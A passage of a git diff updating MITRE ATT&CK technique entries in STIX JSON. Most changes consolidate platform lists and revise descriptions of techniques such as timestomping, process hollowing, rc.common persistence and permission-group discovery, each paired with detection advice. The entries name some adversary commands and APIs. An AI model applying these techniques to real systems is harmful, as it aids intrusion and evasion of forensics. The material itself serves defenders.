+            "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,7 +33,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Daniel Oakley"
+                "Daniel Oakley",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Authentication logs"
@@ -42,18 +43,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44.json b/enterprise-attack/attack-pattern/attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44.json
index f785d0d132..91864a1791 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5af13739-79e6-4f6d-baac-f3b78c94717c",
+    "id": "bundle--6052ff26-e45c-4ed4-beff-8802b9f0f113",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:22.374Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Component Firmware",
-            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
+            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,18 +40,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Ability to update component device firmware from the host operating system."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a.json b/enterprise-attack/attack-pattern/attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a.json
index 8379484360..5306e74fbf 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8c13eb7-81ed-4b03-baf3-099f6264a1de",
+    "id": "bundle--5171618e-ffcf-4792-9793-d19f82c710e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:12.675Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Timestomp",
-            "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,19 +46,8 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce.json b/enterprise-attack/attack-pattern/attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce.json
index e0b5f96e34..b6eedb222a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c8c0da7b-cd43-4192-880c-5d16248a44fa",
+    "id": "bundle--c2e36950-f3c4-4a33-afb9-f6bbdd7e229c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:55.471Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Permission Groups Discovery",
-            "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -37,20 +37,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f.json b/enterprise-attack/attack-pattern/attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f.json
index 6af224054e..d98e33dd1c 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd2695ba-2f72-42c5-a4aa-14fe32487405",
+    "id": "bundle--a76718e6-29af-4ca8-8abb-6817ea0eabd1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:25.454Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Email Collection",
-            "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
+            "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -34,18 +34,7 @@
                 "Process use of network"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f.json b/enterprise-attack/attack-pattern/attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f.json
index 974604f489..cd5395495d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb216201-7445-4778-9606-12a81631e447",
+    "id": "bundle--20091e21-71bd-479c-825e-53747bf888a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rc.common",
-            "description": "During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
+            "description": "During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,8 +46,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec.json b/enterprise-attack/attack-pattern/attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec.json
index 5af5c9ec78..cf527973b3 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d755ab43-3540-4a1f-8db1-7408389c1ec1",
+    "id": "bundle--bc8472e6-0b23-4bb4-9e3d-d30d9094e210",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:31.584Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Removable Media",
-            "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files",
+            "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
                 "Process command-line parameters"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Privileges to access removable media drive and files"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d.json b/enterprise-attack/attack-pattern/attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d.json
index 0ce91b569d..1223033700 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc06dfee-4dd1-4924-8f34-8f38ec70a1bb",
+    "id": "bundle--68033149-e6b9-48e4-97a8-8145b26b5c97",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:26.474Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Code Signing",
-            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control",
+            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows, macOS\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,7 +36,7 @@
                 {
                     "source_name": "Securelist Digital Certificates",
                     "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
-                    "url": "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/"
+                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                 },
                 {
                     "source_name": "Symantec Digital Certificates",
@@ -54,20 +54,8 @@
                 "Windows User Account Control"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21.json b/enterprise-attack/attack-pattern/attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21.json
index 84bcb2f5c0..760221cd85 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6cae353a-c1b7-4784-ae68-213c425a8e3c",
+    "id": "bundle--4f662559-2fd0-4819-bc7a-cc2ef5cc7dc6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,17 +8,13 @@
             "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:09.815Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Hollowing",
-            "description": "Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different. (Citation: Leitch Hollowing)\n\nProcess hollowing may be used similarly to DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User\n\nRemote Support: No",
+            "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "defense-evasion"
-                },
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "execution"
                 }
             ],
             "external_references": [
@@ -31,6 +27,11 @@
                     "source_name": "Leitch Hollowing",
                     "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                     "url": "http://www.autosectools.com/process-hollowing.pdf"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                 }
             ],
             "object_marking_refs": [
@@ -50,20 +51,8 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
-            "x_mitre_remote_support": false
+                "Windows"
+            ]
         }
     ]
 }
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd.json b/enterprise-attack/attack-pattern/attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd.json
new file mode 100644
index 0000000000..5ee5686885
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd.json
@@ -0,0 +1,46 @@
+{
+    "type": "bundle",
+    "id": "bundle--69e72f57-7288-47e3-9bd2-b351335982d9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Domain Fronting",
